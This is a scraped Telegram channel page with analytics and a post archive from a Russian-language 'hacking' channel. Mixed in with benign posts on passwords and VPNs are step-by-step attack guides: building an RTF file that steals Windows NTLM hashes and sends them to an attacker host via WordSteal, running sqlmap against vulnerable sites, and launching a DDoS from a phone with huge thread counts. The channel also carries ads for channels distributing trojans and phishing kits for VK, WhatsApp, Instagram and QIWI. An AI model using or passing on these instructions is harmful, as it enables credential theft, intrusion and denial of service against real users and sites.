CODE RED
Open in Telegram
Мир глазами программистов; лучшая литература, обучающие статьи, курсы и некоторые полезные лайфхаки. Обратная связь: @encryptedadm
Show more
Network:📈 Analytical overview of Telegram channel CODE RED
Channel CODE RED (@coderedcom) in the Russian language segment is an active participant. Currently, the community unites 10 355 subscribers, ranking 9 416 in the Technologies & Applications category and 61 181 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 10 355 subscribers.
According to the latest data from 03 December, 2024, the channel demonstrates stable activity. Although there has been a change in the number of participants by 0 over the last 30 days and by 0 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 0%. Within the first 24 hours after publication, content typically collects N/A% reactions from the total number of subscribers.
- Post reach: On average, each post receives 0 views. Within the first day, a publication typically gains 0 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 0.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Мир глазами программистов; лучшая литература, обучающие статьи, курсы и некоторые полезные лайфхаки.
Обратная связь: @encryptedadm”
Thanks to the high frequency of updates (latest data received on 04 December, 2024), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
10 355
Subscribers
No data24 hours
No data7 days
No data30 days
Posts Archive
10 355
Интересуешься взломом, хакингом и другой теневой деятельностью?
Тогда однозначно рекомендую тебе читать FCS!
Только авторские статьи с закрытых форумов, отдельное комьюнити для общения и много разных плюшек;
Действуй 👉 https://t.me/joinchat/AAAAAE3S7jMotXfNnS61Lg
10 355
Apple выпустили «хакерский» IPhone
На прошлой неделе компания Apple объявила об официальном запуске программы Security Research Device (SRD), которую анонсировали еще в прошлом году. В рамках этой инициативы избранным исследователям предоставят специальные версии iPhone.
У таких устройств отключено большинство функций безопасности, и инженеры Apple используют эти девайсы для поиска проблем.
Кстати, ранее такие девайсы нередко попадали на черный рынок, где они продавались за немалые деньги, и порой оказывались в руках брокеров уязвимостей или продавцов 0-day.
Исследователям предлагается подать заявку на участие в SRD, причем для этого необязательно иметь некое профильное образование и кучу дипломов. Достаточно обладать подтвержденным опытом в сфере ИБ-исследований, причем не только iPhone, но и других устройств и ПО, включая Android, Windows и Linux.
10 355
Где находить рабочие софты для хакинга?
Как известно, все хорошее стоит немалых денег. И софт для взлома в том числе. Не секрет, что в открытом доступе есть преимущественно бесполезные, либо устаревшие программы.
Так как быть, если не хочешь платить?
Недавно многим знакомый Инкогнито создал отдельный канал Incognito | Soft
Заходи и забирай рабочие проги совершенно бесплатно:
- Программа для взлома ВК
- Троян для взлома WhatsApp
- Фишинг для взлома Instagram
- Вредонос для взлома QIWI
Не известно, как долго удасться рекламировать такой канал, пока он не станет зарытым
Переходи сейчас 👉 https://t.me/joinchat/AAAAAFIsCS2aM1LtxoFkrg
10 355
Расширения. Автоматически «подтираем» Cookie
Большинство современных браузеров позволяет пользователям выбрать — принимать cookie или нет, но их отключение делает невозможной работу с некоторыми сайтами. Кроме того, по законам некоторых стран (например, по закону Евросоюза) ресурсы должны в обязательном порядке запрашивать согласие перед установкой cookie.
Но сайты все же умудряются собирать эти «лакомства». Дело в том, что Cookie легко перехватить и подменить, если пользователь использует нешифрованное соединение с сервером. В группе риска пользователи, выходящие в интернет при помощи публичных точек доступа Wi-Fi и не использующие при этом таких механизмов, как SSL и TLS.
Простой пример: пароли , которые вы ввели в браузер, хранятся в Cookie, и их можно легко "вытащить" с помощью обычного стиллера.
Чтобы избежать подобных неприятностей, стоит воспользоваться расширением Cookie AutoDelete. С его помощью можно полностью контролировать Cookie - от блокировок для отдельных ресурсов и до автоматического удаления.
📌 Google Chrome - ссылка
📌 Mozilla Firefox - ссылка
#расширения #приватность #безопасность
10 355
Скачал книгу? Твои пароли уже у хакеров
Возможность интегрировать в RTF файл тот же стиллер поставила под угрозу пользователей, качающих электронные книги в этом формате. Поскольку RTF - это язык разметки текста, возможностей его синтаксиса хватает для реализации подкачки внешних файлов.
Утилита WordSteal может наглядно продемонстрировать работу уязвимости RTF. Она с легкостью вошьет стиллер в RTF файл с картинкой. Когда условная жертва откроет этот файл, хакер удаленно получит NTLM хеши паролей Windows. Давайте посмотрим, как это работает на примере изображения:
Настройка
Устанавливаем Kali Linux
Для начала установим репозиторий и обновим права доступа
◽
git clone https://github.com/0x09AL/WordSteal.git
◽chmod +x main.py
Использование
Для создания RTF файла со стиллером нам понадобится только картинка.
◽python main.py <ip хоста> <название картинки> 1
После выполнения этой команды в директории появится RTF файл с полезной нагрузкой. Чтобы её испытать, нужно не закрывая окно терминала открыть данный файл на Windows. В терминал придут хеши паролей.
❗️Чтобы за «бесплатные» книги не пришлось дорого расплачиваться, скачивать их стоит из Архива хакера - @hackrhive
#хакинг #безопасность10 355
С чего и как начать зарабатывать в интернете?
LOCKNET - закрытый теневой канал, позволяющий делать деньги здесь и сейчас.
Подписывайся на LOCКNET и начинай уже сейчас, пока схемы не отжали другие!
Надоело по утрам вставать на "любимую" работу? Попробуй это исправить 👉 https://t.me/joinchat/AAAAAER0WSV-Qy3URO6-xg
10 355
Как расшифровать короткую ссылку
Довольно часто бывают ситуации, когда ссылки на какой-нибудь сайт получаются очень уж длинными, и потому неудобными для того, чтобы делиться ими с кем-то. Для таких ситуаций и были созданы короткие ссылки.
Но, как и многое другое в этом мире, этот инструмент имеет и «темную сторону» сторону. Дело в том, что переходя по короткой ссылке, человек понятния не имеет, куда, собственно, он переходит. А увидит он это только после совершения самого перехода.
В итоге, кликая по короткой ссылке, можно запросто оказаться на каком-нибудь зловредном ресурсе, где от вирусов и прочей малвари не будет отбоя.
Чтобы избежать неприятных ситуаций, описанных выше, воспользуемся ресурсом, который дешифрует ссылки. Кстати, ресурс позволяет «за одно» проверить ссылку на вирусы и показывает цепочку перенаправлений.
👺А вот и небольшой тест работоспособности ресурса. Куда приведет эта ссылка? 👉 shorturl.at/yzGQR
📌 https://longurl.info/
#хитрости #безопасность
10 355
Делаем SQL инъекцию с помощью телефона
SQL инъекция — это один из самых доступных способов взлома сайта. Суть таких инъекций – внедрение в данные (передаваемые через GET, POST запросы или значения Cookie) произвольного SQL кода. Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно. Данная атака позволяет находить базы данных пользователей различных сайтов, обходить авторизацию, тестировать ресурсы и многое другое.
Настройка
Устанавливаем Termux
Прописываем команды в консоль:
▫️
pkg upgrade
▫️pkg install python2 git
▫️git clone https://github.com/sqlmapproject/sqlmap.git
▫️cd sqlmap
Использование
▫️python2 sqlmap.py -u <url уязвимого веб-сайта>
Подробный список команд
📌 https://github.com/sqlmapproject/sqlmap/wiki/Usage
❗️Помни, вся информация предоставлена исключительно в ознакомительных целях.
#хакинг10 355
Порой бывает сложно найти профессионала под массой псевдонимов
Представляю вам канал настоящего хакера. На его канале ты найдёшь:
– Как взламывать Wi-FI сети
— Как ловят киберпреступников в даркнете?
– Как пробить IP адрес
#INCLUDE – Добро пожаловать в мир неограниченных возможностей
10 355
Каждый 142 пароль - 123456. Как создавать безопасные пароли?
Эксперт в области Компьютерных Технологий - Ата Хаксил провел исследование на тему использования паролей. Под его анализ попало более 1 миллиарда слитых учетных данных!
Ата анализировал доступные в Сети БД — часть из них, например, лежала на GitHub и GitLab, другая часть распространялась через хакерские форумы и файлообменники.
Специалист проанализировал более миллиарда связок и выяснил, что только 168 919 919 паролей являются уникальными. А «123456» эксперт встретил целых 7 миллионов раз.
Кроме того, автор исследования установил среднюю длину паролей – 9,48 символов (часто рекомендуется использовать от 16 и до 24 символов).
Только 12% комбинаций при этом содержали специальные символы. 29% паролей состояли только из букв, 13% – только из цифр. Разумеется, в подборе таких паролей нет ничего сложного.
P.S. Ниже я приложил схему, наглядно демонстрирующую, каких еще ошибок стоит избегать при создании паролей.
#полезно #безопасность
10 355
Где найти вирусы с исходным кодом
Отыскать сборник актуальных вирусов, а уж тем более с описанием и исходниками — задача не из легких. Но только не для подписчиков CODE RED!
Изначально проект TheZoo создан для того, чтобы сделать анализ вредоносных программ открытым и доступным для общественности. Авторы постоянно обновляют и дополняют свою базу новыми вирусами. Для скачивания и изучения предлагается как исполняемый файл, так и исходники.
Исходный код вирусов находятся в каталоге:
theZoo/malwares/Source/Original/
Исполняемые файлы вирусов находятся в каталоге:
theZoo/malwares/Binaries/
Для каждого вируса есть своя отдельная директория, в которой находятся 4 файла: само вредоносное ПО в зашифрованном виде, в ZIP архиве, SHA256 и MD5 — контрольные суммы архива для сравнения и пароль для зашифрованного архива.
Подробное описание и руководство, вы сможете найти в описании проекта на Githab.
📌https://github.com/ytisf/theZoo
❗️Напомню, использовать вирусы против других - незаконно и не рекомендуется!
#хакинг10 355
Отвлекись от серьезных тем, жми на кнопку и наслаждайся смешными мемами и гифками про беспощадную борьбу между программистами и кодом!
NOP::Humor ждет тебя 😊
@nuancesproghumor
10 355
Тестируем роутер на уязвимости со смартфона
Читатели моего канала не понаслышке знают, что, установив пароль на роутер, вы защищаете свою сеть лишь от честных людей. Многие роутеры уже «из коробки» имеют ряд уязвимостей, которые можно отключить в настройках. Например, уязвимость удаленного доступа, стандартный пароль в локальной сети и т.д.
Чтобы проверить роутер на различные виды уязвимостей, можно воспользоваться утилитой routersploit на termux.
Настройка
Устанавливаем Termux и подключаемся к роутеру.
Прописываем команды в консоль:
▫️
pkg upgrade
▫️pkg install git python
▫️git clone https://github.com/threat9/routersploit
▫️cd routersploit
▫️pip3 install -r requirements.txt
▫️python3 rsf.py
Использование
▫️use scanners/autopwn
Есть 2 вида шлюза. 192.168.0.1 и 192.168.1.1. Выбирайте ваш и пишите:
▫️set target 192.168.0.1
▫️run
Далее будет произведено сканирование на уязвимости. Если вы их обнаружите, то пишите название уязвимости в поисковике Google и ищите методы их устранения.
#безопасность10 355
Выбираем лучший бесплатный VPN
Как известно, большинство VPN сервисов предоставляют бесплатный тариф ли же бесплатный пробный период, но не каждый из них может похвастаться отличной скоростью и безопасностью соединения.
Более того, многие VPN-сервисы, особенно мобильных версий, переполнены рекламой, проблемами с утечкой DNS и запрашивают слишком много разрешений. В этом посте мы поговорим о двух кроссплатформенных VPN сервисах, которые доступны совершенно бесплатно.
ProtonVPN Free — Швейцарский VPN, отличается тем, что бесплатно предлагает безлимитный доступ на одном устройстве. Бесплатные пользователи получают доступ к серверам в трёх странах: США, Нидерландах и Японии. Нет доступа к протоколам P2P, Tor, безопасной потоковой трансляции и серверам Secure Core. Всё это доступно платным подписчикам.
Сервис ведёт свои операции максимально прозрачно. Подробно описываются запросы от правоохранительных органов. Логи не ведутся, поэтому никаких ответов на эти запросы быть не может.
Windscribe Free — Канадский сервис, который оказался самым быстрым из протестированных и предлагает 10 Гб в месяц. Приложения доступны на всех операционных системах. Пользователи бесплатного сервиса получают доступ к серверам в 10 странах: США, Канада, Франция, Германия, Нидерланды, Норвегия, Румыния, Швейцария, Великобритания и Гонконг.
Имеется большой выбор функций безопасности, отсутствие логов действий пользователей и регулярные обновления отчёта о прозрачности. Поскольку логи не ведутся, никакой информации правоохранительные органы получить не могут.
#полезно #приватность
10 355
Хакинг. Кибербезопасноть. Даркнет.
Автор канала DEREVENTSEV рассказывает о написание вирусов, анонимности, новостях даркнета и многом другом.
На канале вы сможете найти:
▪️Взлом Android через QR код!
▪️Глушилка Bluetooth колонок!
▪️Крупнейшие аресты даркнета!
▪️Восстанавливаем историю браузера!
▪️Взлом камер видеонаблюдения!
Канал приватный, поэтому ссылку скоро сменим.
https://t.me/joinchat/AAAAAFKNARYfJx1eRuf7-A
И да, на канале серьезно есть такие статьи, просто посмотрите закреп!
10 355
Стираем абсолютно все данные с ПК
Одна из основ приватности - умение стирать «следы». Не важно, решили ли вы продать старое устройство, или же вам «постучались в дверь», научиться этому однозначно стоит.
O&O SafeErase Professional - инструмент для полного удаления файлов с компьютера и очистки дисков от их остатков. Программа позволяет безвозвратно стирать ваши файлы и папки, удалять следы использования интернет браузера и операционной системы, а также очищать свободное дисковое пространство от ранее удалённых файлов.
С помощью O&O SafeErase вы сможете безвозвратно стереть все личные файлы и следы работы в системе, не переживая что их в будущем смогут восстановить.
Использование специальных алгоритмов и возможности использовать один из шести методов стирания данных, позволяет не только выполнить быстрое удаление информации, путём перезаписи данных нулями, но и осуществить полную очистку особо конфиденциальной информации с помощью 35 циклов стирания.
📌 Win64: Скачать
📌 Win32: Скачать
#windows #приватность
10 355
Создаем надежный пароль
Ненадежный пароль может легко перечеркнуть все ваши дальнейшие усилия по защите ваших конфиденциальных данных, потому этому стоит уделить особое внимание. Чтобы создать максимально сильный пароль, мы воспользуемся ресурсом Getpass.
Getpass - это необычный генератор паролей. Дело в том, что он производит генерацию на основе самых редких символов, которые встречаются на раскладке клавиатуры. Данный сайт делает уклон именно на сложность пароля, а не на его запоминаемость. Такой подход ресурса обрекает на провал любые попытки взломать вас атакой Brute-force.
📌https://getpass.xyz/
#безопасность
10 355
Устраиваем DDoS атаку на сайт со смартфона
DDoS - это атака на сайт с целью выведения его из строя при помощи значительного количества обманных запросов. Серверам приходится обрабатывать превышенный объем запросов, с чем они, как правило, не справляются.
Недавно мы уже разобрались с принципом подобной атаки на Wi-Fi, ну а сегодня жертвой выступит сайт.
❗️Давайте сразу внесем ясность. Данную атаку следует проводить только на свои ресурсы с целью выяснить, как поведет себя сайт и его защита!
Настройка
Устанавливаем Termux
Прописываем команды в консоль:
▫️
pkg update
▫️pkg install git python
▫️cd
▫️git clone https://github.com/Andrey-oss/ddoser
▫️cd ddoser
▫️pip3 install requests termcolor colorama
▫️python3 ddos.py
Использование
Далее просто пишем адрес сайта. В строчке "threads" вводим 9999999999999. Готово!
#хакинг #DDoS10 355
Самая масштабная атака в истории Twitter: взломаны аккаунты звезд, компаний и криптовалютных бирж
Минувшая ночь была трудной для компании Twitter: массовой компрометации подверглось множество аккаунтов публичных людей, компаний, криптовалютных бирж и так далее.
Так, среди пострадавших были: Билл Гейтс, Илон Маск, Джефф Безос, Джо Байден, Барак Обама, Уоррен Баффет, Канье Уэст, Ким Кардашян, компании Apple и Uber, крупнейшие криптовалютные биржи CoinDesk, Binance и Gemini, а также многие, многие другие. Для большинства этих учетных записей была включена двухфакторная аутентификация, которая не остановила хакеров.
Полученным доступом к топовым аккаунтам неизвестные злоумышленники воспользовались весьма странным образом: объявили аттракцион неслыханной щедрости и устроили фальшивую раздачу биткоинов. Сообщения хакеров сулили пользователям огромные прибыли (если те сначала отправят на указанный немного биткоинов).
Так как для всех взломанных аккаунтов использовались одинаковые сообщения и один и тот же биткоин-кошелек, можно увидеть, что по состоянию на 6:30 по московскому времени мошенники «заработали» примерно 13 BTC, то есть около 120 000 долларов.
Заявление Twitter
Глава Twitter Джек Дорси сообщает, что это крайне тяжелый день для компании и обещает, что расследование произошедшего будет максимально прозрачным.
В настоящий момент предварительные результаты расследования таковы. Twitter официально сообщает, что в корне случившегося лежит скоординированная атака на сотрудников компании с применением социальной инженерии. В результате злоумышленники смогли получить доступ к неназванным внутренним системам и инструментам, чем они и воспользовались, захватив контроль над множеством популярных аккаунтов.
#хакеры
